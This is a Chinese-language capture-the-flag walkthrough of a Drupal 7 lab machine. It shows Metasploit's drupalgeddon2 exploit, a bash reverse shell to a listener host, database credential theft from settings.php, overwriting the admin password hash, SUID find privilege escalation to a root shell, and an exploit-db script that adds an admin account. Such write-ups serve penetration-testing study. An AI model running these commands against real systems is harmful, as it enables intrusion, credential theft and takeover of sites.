1.主机发现:sudo arp-scan -l,发现靶机ip为192.168.1.11
2.nmap扫描端口:(NAT扫不到,改桥接了)
nmap 192.168.225.132 -sV -sC -Pn -n -v -T5 -p-
扫描到22和80端口,访问80端口
3.访问一下,看到drupal,这都是某种cms
思路就是搜cms都有哪些利用程序,搜索可利用的漏洞:
searchsploit Drupal 7
4.看到有很多现成的的利用程序,有远程的命令执行,在metaspolit有。
5.所以启动msfconsole->search Drupal,回溯上面远程代码执行名叫:drupalgeddon2,找到他在第4行:exploit/unix/webapp/drupal_drupalgeddon2
6.use 4->options(更改配置参数,yes是必填的)-> set RHOST 192.168.1.11->run,弹回metepreter
7.执行输入shell->ls等可以执行命令,但是非交互式不方便,所以可以在kali上挂一个监听,反弹一个交互式的shell
方法:
使用hacktools生成反弹bash:mysql是交互式的必须要进行这一步
bash -c 'exec bash -i &>/dev/tcp/192.168.1.12/6666 <&1'
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116
8.cd进入cd sites/,再进入cd default,cat一下看到有settings.php中有很多内容,发现有一些数据库连接的信息
9.连接数据库:
mysql -u dbuser -p
(补充一个启动mysql服务的命令(这里不需要):systemctl start mysql)
10.show databases;查库,然后use drupaldb这个库,show tables;看有哪些表,因为之前访问网页的时候看到有登录框,所以取users表里面找密码之类的看看,注意Drupal框架默认的用户表就是users表,select * from users;然后select name,pass from users;
发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)
11.这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。
12.方法:更新这个密码为我们知道的密码
问题点在于要知道他这个密码的加密方式,让我们一直的密码用相同方式加密得到的数值对他进行修改。
13.重新在shell中开一个监听端口6665,在var/www/scripts路径里的password-hash.sh就是加密密码的一个脚本,通过在var/www/目录下执行./scripts/password-hash.sh pass,可以生成密码:pass的一个hash值:
$S$DmIE.pVOn/xvCmnJT6QyScD09XdYDyxuT7aA67RNl9fNy0bLDlqf
14.重新连接回到数据库,将这个值更新上去:
update users set pass='$S$DmIE.pVOn/xvCmnJT6QyScD09XdYDyxuT7aA67RNl9fNy0bLDlqf' where name='admin';
15.所以admin的密码变成了pass,在网页登录的find content中可以获取flag3
16.根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。查看用户列表,获取信息cat /etc/passwd,看到最下方(/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段)
17.切换到home目录下找到flag4,flag4提示内容:提示最后flag in root下面。(其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。find / -name "flag4)
18.提权:
1)使用find命令查看与/root目录有关的文件信息,发现flag文件存在于/root目录下,尝试打开它,发现没有权限,所以必须要提权才能查看最终的flag文件
find /root
find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。
find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录
2)suid提权
1.使用命令查找有哪些命令可以提权:
find / -perm -u=s -type f 2>/dev/null
2.如何使用这些命令进行提权,方法一:可以上网站查询:gtfobins.github.io/gtfobins
find . -exec /bin/sh \; -quit
方法二:使用“-exec”提权
也就是find+perms+exec 命令来提权
1.find ./ acce -exec '/bin/sh' \;
2.touch bcce
find bcce -exec '/bin/sh' \;
再次尝试打开/root目录下的flag文件
cd /root
ls
cat thefinalflag.txt
更隐蔽方式:添加新管理员账户获取flag3
exploit-db(漏洞利用库):
kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。
1.查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
2.使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述,我这里遮住了),符合7.24版本。
searchsploit drupal
3.利用drupal7.0版本漏洞增加有admin权限的用户
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.11 -u hkb -p hkb
4.使用新添加的用户hkb登录网站,在content模块下找到flag3。